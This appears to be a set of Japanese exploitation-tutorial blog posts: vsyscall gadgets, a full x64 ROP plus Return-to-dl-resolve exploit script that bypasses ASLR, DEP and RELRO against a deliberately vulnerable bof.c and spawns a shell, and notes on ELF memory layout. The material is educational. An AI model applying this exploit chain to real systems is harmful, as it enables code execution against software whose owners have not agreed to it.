Linux 3.3より前のバージョンのx64環境では、0xffffffffff600000の固定アドレスにvsyscallと呼ばれるメモリページが存在する。 このページにはgettimeofthedayシステムコールなどを呼び出すコードが置かれており、ROP gadgetとしてsyscall; retが入っている。 実際にgdbを使って調べてみると、次のようになる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x400548
Starting program: /home/user/tmp/a.out
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff7ef56000

Temporary breakpoint 1, 0x0000000000400548 in main ()
(gdb) i proc map
process 14144
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/user/tmp/a.out
            ...
      0x7fff7ee6f000     0x7fff7ee90000    0x21000        0x0 [stack]
      0x7fff7ef56000     0x7fff7ef58000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) x/10i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall
   0xffffffffff600009:  ret
   0xffffffffff60000a:  int3
   0xffffffffff60000b:  int3
   0xffffffffff60000c:  int3
   0xffffffffff60000d:  int3
   0xffffffffff60000e:  int3
   0xffffffffff60000f:  int3
   0xffffffffff600010:  int3

上の結果から、syscall; retのアドレスとして0xffffffffff600007が使えそうなことがわかる。 そこで、raxレジスタに0(readシステムコール)をセットしジャンプしてみる。

(gdb) set $rax = 0
(gdb) jump *0xffffffffff600007
Continuing at 0xffffffffff600007.

Program received signal SIGSEGV, Segmentation fault.
0xffffffffff600007 in ?? ()

上の結果から、readシステムコールは実行されずセグメンテーション違反で落ちていることがわかる。

これは、カーネルのboot optionとしてvsyscall=emulateが指定されていることによるものである。 この場合、vsyscallページに直接ジャンプすることはできなくなる。

vsyscallパラメータは値としてemulateの他にnative、noneを取ることができ、nativeであれば上のようなgadgetを利用することが可能となる。

関連リンク

x64でROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避をやってみる

「ROP stager + Return-to-dl-resolve + DT_DEBUG readによるASLR+DEP+RELRO回避」では、x86環境かつASLR+DEP+RELROが有効な条件下でlibcバイナリに依存しないシェル起動を行った。 ここでは、x64環境のもとで同様の方法によるASLR+DEP+RELRO回避をやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。 このコードは、「x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる」で使ったものと同じである。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    /* pop rdi; ret; pop rsi; ret; pop rdx; ret; */
    char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3";
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではrdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。

ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

エクスプロイトコードを書いてみる

x86環境でのDT_DEBUG readおよびx64環境でのReturn-to-dl-resolveをもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400420     # readelf -S a.out
addr_bss = 0x0000000000601010     # readelf -S a.out
addr_plt_read = 0x400440          # objdump -d -j.plt a.out
addr_plt_write = 0x400430         # objdump -d -j.plt a.out
addr_dt_debug = 0x600ea0          # objdump -s -j.dynamic a.out (DT_DEBUG = 0x15)

addr_pop_rdi = 0x0040054f         # 0x0040054f: pop rdi ; ret  ;  (1 found)
addr_pop_rsi = 0x00400551         # 0x00400551: pop rsi ; ret  ;  (1 found)
addr_pop_rdx = 0x00400557         # 0x00400557: pop rdx ; ret  ;  (1 found)
addr_pop_rbp = 0x00400512         # 0x00400512: pop rbp ; ret  ;  (3 found)
addr_leave_ret = 0x004005a6       # 0x004005a6: leave  ; ret  ;  (1 found)

stack_size = 0x800
base_stage = addr_bss + stack_size
size_bulkread = 0x800

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 0)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 1000)
buf1 += struct.pack('<Q', addr_plt_read)
buf1 += struct.pack('<Q', addr_pop_rbp)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_leave_ret)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

buf2 = 'AAAAAAAA'

# read dt_debug
addr_esp = base_stage + 8
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_dt_debug)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)

# read r_debug and link_map
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA'  # addr_r_debug
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', size_bulkread)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)

# read link_map_lib
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA'  # addr_link_map_lib
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 40)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)

# read link_map_lib2
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA'  # addr_link_map_lib2
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 40)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)

# read lib_dynamic and lib_gotplt
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 1)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA'  # addr_lib_dynamic
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', size_bulkread)
buf2 += struct.pack('<Q', addr_plt_write)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*17)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)

# overwrite dt_versym
addr_esp += 8*14
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += 'AAAAAAAA'  # addr_dt_versym
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_esp + 8*16)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 16)
buf2 += struct.pack('<Q', addr_plt_read)

# call dl_resolve
addr_esp += 8*14
addr_reloc = addr_esp + 48
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', addr_cmd)
buf2 += 'AAAAAAAA'  # addr_dl_resolve
buf2 += 'AAAAAAAA'  # addr_link_map
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_bss)  # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)   # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (1000-len(buf2))

p.stdin.write(buf2)

data = p.stdout.read(8)
addr_r_debug = struct.unpack('<Q', data)[0]
print "[+] addr_r_debug = %x" % addr_r_debug
p.stdin.write(struct.pack('<Q', addr_r_debug))

data = p.stdout.read(size_bulkread)
addr_link_map = struct.unpack('<Q', data[8:16])[0]
offset = addr_link_map - addr_r_debug
addr_link_map_lib = struct.unpack('<Q', data[offset+24:offset+32])[0]
print "[+] addr_link_map, addr_link_map_lib = %x, %x" % (addr_link_map, addr_link_map_lib)
p.stdin.write(struct.pack('<Q', addr_link_map_lib))

data = p.stdout.read(40)
addr_link_map_lib2 = struct.unpack('<Q', data[24:32])[0]
print "[+] addr_link_map_lib2 = %x" % addr_link_map_lib2
p.stdin.write(struct.pack('<Q', addr_link_map_lib2))

data = p.stdout.read(40)
addr_lib_dynamic = struct.unpack('<Q', data[16:24])[0]
print "[+] addr_lib_dynamic = %x" % addr_lib_dynamic
p.stdin.write(struct.pack('<Q', addr_lib_dynamic))

data = p.stdout.read(size_bulkread)
addr_lib_gotplt = struct.unpack('<Q', data.split('\x03\x00\x00\x00\x00\x00\x00\x00')[1][:8])[0]
offset = addr_lib_gotplt - addr_lib_dynamic
addr_dl_resolve = struct.unpack('<Q', data[offset+16:offset+24])[0]
print "[+] addr_lib_gotplt, addr_dl_resolve = %x, %x" % (addr_lib_gotplt, addr_dl_resolve)
p.stdin.write(struct.pack('<Q', addr_link_map+0x1c8))

p.stdin.write(struct.pack('<Q', 0))
p.stdin.write(struct.pack('<QQ', addr_dl_resolve, addr_link_map))

p.wait()

このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。

  1. read@plt関数を使い固定アドレスにデータを読み込み、pop ebp + leave retによるstack pivotを行う
  2. DT_DEBUG readにより、実行ファイルのlink_map構造体lおよび_dl_runtime_resolve関数のアドレスを取得する
  3. l->l_info[VERSYMIDX (DT_VERSYM)]の値をNULLに書き換えた上で、Return-to-dl-resolveを行いsystem関数を呼び出す

また、ここでは実行ファイルのlink_map構造体から双方向リストを2回進めた先のライブラリについて、GOTセクションを読んでいる。 これは、1回進めた先のライブラリがlinux-vdso.soであり、これには_dl_runtime_resolve関数のアドレスが入っていないためである。 この双方向リストにおけるライブラリの並びは、lddコマンドによっても確認できる。

$ ldd a.out
        linux-vdso.so.1 =>  (0x00007fff36799000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fec74b4d000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fec74f16000)

引数をセットし実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00\x10\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'
[+] addr_r_debug = 7f3cb1e212a0
[+] addr_link_map, addr_link_map_lib = 7f3cb1e212c8, 7f3cb1e21858
[+] addr_link_map_lib2 = 7f3cb1e1e4c0
[+] addr_lib_dynamic = 7f3cb1bf5b40
[+] addr_lib_gotplt, addr_dl_resolve = 7f3cb1bf5fe8, 7f3cb1c12200
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

x86環境の場合と同様の方法により、x64環境かつASLR+DEP+RELROが有効な条件下でlibcバイナリに依存せずシェルが起動できていることが確認できた。

関連リンク

ELF実行ファイルのメモリ配置はどのように決まるのか

Linux x64環境において、ELF実行ファイル、共有ライブラリ、スタック領域、ヒープ領域のアドレスがどのように決まるのかについてのメモ。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

実行時のメモリマップを確認してみる

まずは、ヒープ領域を使う適当なプログラムを用意する。

/* hello.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *buf;
    buf = malloc(20);
    strncpy(buf, "Hello, world!", 20);
    puts(buf);
    return 0;
}

コンパイルし、gdbを使ってメモリマップを表示させてみる。

$ gcc hello.c

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) b puts
Breakpoint 1 at 0x400470
(gdb) r
Starting program: /home/user/tmp/a.out
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000

Breakpoint 1, 0x00007ffff7a8ace0 in puts () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) i proc
process 5927
cmdline = '/home/user/tmp/a.out'
cwd = '/home/user/tmp'
exe = '/home/user/tmp/a.out'
(gdb) shell cat /proc/5927/maps
00400000-00401000 r-xp 00000000 08:01 1182040                            /home/user/tmp/a.out
00600000-00601000 r--p 00000000 08:01 1182040                            /home/user/tmp/a.out
00601000-00602000 rw-p 00001000 08:01 1182040                            /home/user/tmp/a.out
00602000-00623000 rw-p 00000000 00:00 0                                  [heap]
7ffff7a1a000-7ffff7bcf000 r-xp 00000000 08:01 2097169                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7bcf000-7ffff7dcf000 ---p 001b5000 08:01 2097169                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dcf000-7ffff7dd3000 r--p 001b5000 08:01 2097169                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dd3000-7ffff7dd5000 rw-p 001b9000 08:01 2097169                    /lib/x86_64-linux-gnu/libc-2.15.so
7ffff7dd5000-7ffff7dda000 rw-p 00000000 00:00 0
7ffff7dda000-7ffff7dfc000 r-xp 00000000 08:01 2097185                    /lib/x86_64-linux-gnu/ld-2.15.so
7ffff7fee000-7ffff7ff1000 rw-p 00000000 00:00 0
7ffff7ff8000-7ffff7ffa000 rw-p 00000000 00:00 0
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 2097185                    /lib/x86_64-linux-gnu/ld-2.15.so
7ffff7ffd000-7ffff7fff000 rw-p 00023000 08:01 2097185                    /lib/x86_64-linux-gnu/ld-2.15.so
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
(gdb) quit

ここで、gdbがASLRを無効にしていることに注意する。 上の結果から、主なアドレスをまとめると次のようになる。

  • 0x400000: 実行ファイルの実行可能領域
  • 0x600000: 実行ファイルの実行不可領域
  • 0x602000: ヒープ領域
  • 0x7ffff7a1a000: 共有ライブラリ(libc)
  • 0x7ffffffde000: スタック領域

実行ファイルのメモリ配置について

実行ファイルのメモリ配置は、PIEでない場合リンク時に決まる。 readelfコマンドでセクション情報を表示させると、アドレスの項目に実際のアドレスが入っていることがわかる。

$ readelf -S a.out
There are 30 section headers, starting at offset 0x1148:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4

(snip)

  [18] .ctors            PROGBITS         0000000000600e28  00000e28
       0000000000000010  0000000000000000  WA       0     0     8
  [19] .dtors            PROGBITS         0000000000600e38  00000e38
       0000000000000010  0000000000000000  WA       0     0     8

(snip)

  [25] .bss              NOBITS           0000000000601030  00001030
       0000000000000010  0000000000000000  WA       0     0     8

(snip)

このアドレスは、リンカが使うリンカスクリプトによって決められている。 コンパイル時にリンカにverboseオプションをつけると、使われているリンカスクリプトを表示させることができる。

$ gcc -Wl,--verbose hello.c
GNU ld (GNU Binutils for Ubuntu) 2.22
  Supported emulations:
   elf_x86_64
   elf32_x86_64
   elf_i386
   i386linux
   elf_l1om
   elf_k1om
using internal linker script:
==================================================
/* Script for -z combreloc: combine and sort reloc sections */
OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
              "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("/usr/x86_64-linux-gnu/lib64"); SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/lib64"); SEARCH_DIR("
=/usr/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib"); SEARCH_DIR("=/usr/lib");
SECTIONS
{
  /* Read-only sections, merged into text segment: */
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
  .interp         : { *(.interp) }
  .note.gnu.build-id : { *(.note.gnu.build-id) }
  .hash           : { *(.hash) }
  .gnu.hash       : { *(.gnu.hash) }
  .dynsym         : { *(.dynsym) }
  .dynstr         : { *(.dynstr) }

(snip)

  /* Adjust the address for the data segment.  We want to adjust up to
     the same address within the page on the next page up.  */
  . = ALIGN (CONSTANT (MAXPAGESIZE)) - ((CONSTANT (MAXPAGESIZE) - .) & (CONSTANT (MAXPAGESIZE) - 1)); . = DATA_SEGMENT_ALIGN (CONSTANT (MAXPAGESIZE), CONSTANT (COMMONPAGESIZE));

(snip)

}


==================================================
attempt to open /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crt1.o succeeded
/usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crt1.o
attempt to open /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crti.o succeeded
/usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crti.o

(snip)

attempt to open /usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crtn.o succeeded
/usr/lib/gcc/x86_64-linux-gnu/4.6/../../../x86_64-linux-gnu/crtn.o
ld-linux-x86-64.so.2 needed by /lib/x86_64-linux-gnu/libc.so.6
found ld-linux-x86-64.so.2 at /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2

リンカスクリプトを見ると、read-onlyセクションがtextセクションとして0x400000から配置されていることがわかる。 また、データセグメントは次のメモリページとなるように調整されていることがわかる。

対応するソースコードは、GNU binutilsのldディレクトリにある。 リンカスクリプトのELF用テンプレートは次のファイルである。

テンプレート中で参照されているTEXT_START_ADDRは次のファイルで定義されている。

TEXT_START_ADDR=0x400000
MAXPAGESIZE="CONSTANT (MAXPAGESIZE)"
COMMONPAGESIZE="CONSTANT (COMMONPAGESIZE)"

ここで、CONSTANT (MAXPAGESIZE)CONSTANT (COMMONPAGESIZE)の値には、次のファイルの定義が参照される。

#define ELF_MAXPAGESIZE                     0x200000
#define ELF_MINPAGESIZE                     0x1000
#define ELF_COMMONPAGESIZE                  0x1000

上の定義においてELF_MAXPAGESIZEが0x200000であるため、データセグメントは0x400000+0x200000=0x600000から始まることとなる。 なお、これらの値はリンカオプションにより変更することも可能である。

$ gcc -Wl,-Ttext-segment=0x8048000,-z,max-page-size=0x1000 hello.c

$ readelf -S a.out
There are 30 section headers, starting at offset 0x1158:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000008048238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000008048254  00000254
       0000000000000020  0000000000000000   A       0     0     4
       ...
  [18] .ctors            PROGBITS         0000000008049e28  00000e28
       0000000000000010  0000000000000000  WA       0     0     8
  [19] .dtors            PROGBITS         0000000008049e38  00000e38
       0000000000000010  0000000000000000  WA       0     0     8
       ...

共有ライブラリのメモリ配置について

共有ライブラリは、実行ファイルで指定されたELFインタプリタ(/lib/ld-linux.so.2)がmmapにより配置する。 具体的には、次のような順序で関数が呼ばれていく。

[sysdeps/x86_64/dl-machine.h] _start
[elf/rtld.c] _dl_start
[elf/rtld.c] _dl_start_final
[elf/dl-sysdep.c] _dl_sysdep_start
[elf/rtld.c] dl_main
[elf/dl-deps.c] _dl_map_object_deps
[include/dlfcn.h] _dl_catch_error
[elf/dl-deps.c] openaux
[elf/dl-load.c] _dl_map_object
[elf/dl-load.c]  _dl_map_object_from_fd

setarchコマンドでASLRを無効化した上で、straceコマンドを使い実行時のシステムコールをトレースしてみる。

$ setarch x86_64 -R strace ./a.out >/dev/null
execve("./a.out", ["./a.out"], [/* 18 vars */]) = 0
brk(0)                                  = 0x1402000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=26780, ...}) = 0
mmap(NULL, 26780, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff1000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200\30\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1815224, ...}) = 0
mmap(NULL, 3929304, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7a1a000
mprotect(0x7ffff7bcf000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7dcf000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b5000) = 0x7ffff7dcf000
mmap(0x7ffff7dd5000, 17624, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd5000
close(3)                                = 0
...
write(1, "Hello, world!\n", 14)         = 14
exit_group(0)                           = ?

上の結果から、libcのメモリを確保する際におけるmmapの第一引数はNULLとなっており、実際に配置されるアドレス0x7ffff7a1a000はmmapが決めていることがわかる。

mmapが確保するメモリアドレスの初期値は、LinuxカーネルがELF実行ファイルを読み込む際に決められる。 具体的には、次のような順序で関数が呼ばれていく。

[fs/binfmt_elf.c] load_elf_binary
[fs/exec.c] setup_new_exec
[arch/x86/mm/mmap.c] arch_pick_mmap_layout
[arch/x86/mm/mmap.c] mmap_base

ここで、mmap_base関数は次のようになっている。

 54 #define MIN_GAP (128*1024*1024UL + stack_maxrandom_size())
 55 #define MAX_GAP (TASK_SIZE/6*5)
    ...
 85 static unsigned long mmap_base(void)
 86 {
 87         unsigned long gap = rlimit(RLIMIT_STACK);
 88 
 89         if (gap < MIN_GAP)
 90                 gap = MIN_GAP;
 91         else if (gap > MAX_GAP)
 92                 gap = MAX_GAP;
 93 
 94         return PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd());
 95 }

ASLRが無効の場合、stack_maxrandom_size()かつmmap_rnd() == 0となる。 ここで、rlimit(RLIMIT_STACK)の値をulimitコマンドで調べてみると次のようになる。

$ ulimit -s
8192

ulimitコマンドはキロバイト単位、rlimit(RLIMIT_STACK)はバイト単位であるため、この場合gap == 8192*1024となる。 これはMIN_GAPよりも小さいため、gapはMIN_GAPに補正される。

また、TASK_SIZEに関する定義をまとめると次のようになる。

833 #ifdef CONFIG_X86_32
    ...
893 #else
894 /*
895  * User space process size. 47bits minus one guard page.
896  */
897 #define TASK_SIZE_MAX   ((1UL << 47) - PAGE_SIZE)
898 
899 /* This decides where the kernel will search for a free chunk of vm
900  * space during mmap's.
901  */
902 #define IA32_PAGE_OFFSET        ((current->personality & ADDR_LIMIT_3GB) ? \
903                                         0xc0000000 : 0xFFFFe000)
904 
905 #define TASK_SIZE               (test_thread_flag(TIF_ADDR32) ? \
906                                         IA32_PAGE_OFFSET : TASK_SIZE_MAX)
907 #define TASK_SIZE_OF(child)     ((test_tsk_thread_flag(child, TIF_ADDR32)) ? \
908                                         IA32_PAGE_OFFSET : TASK_SIZE_MAX)
909 
910 #define STACK_TOP               TASK_SIZE
911 #define STACK_TOP_MAX           TASK_SIZE_MAX
    ...
935 #endif /* CONFIG_X86_64 */
  7 /* PAGE_SHIFT determines the page size */
  8 #define PAGE_SHIFT      12
  9 #define PAGE_SIZE       (_AC(1,UL) << PAGE_SHIFT)
 10 #define PAGE_MASK       (~(PAGE_SIZE-1))
 19 #define __AC(X,Y)       (X##Y)
 20 #define _AC(X,Y)        __AC(X,Y)

以上をもとに、mmap_baseが返すアドレスを計算してみる。

$ python
Python 2.7.3 (default, Feb 27 2014, 19:58:35)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> PAGE_SHIFT = 12
>>> PAGE_SIZE = 1L << PAGE_SHIFT
>>> TASK_SIZE_MAX = (1L << 47) - PAGE_SIZE
>>> TASK_SIZE = TASK_SIZE_MAX
>>> MIN_GAP = 128*1024*1024L
>>> hex(TASK_SIZE)
'0x7ffffffff000L'
>>> hex(TASK_SIZE - MIN_GAP)
'0x7ffff7fff000L'

これは、一番最初にmmapで配置されるld-linux.soのメモリ領域の底となっている。

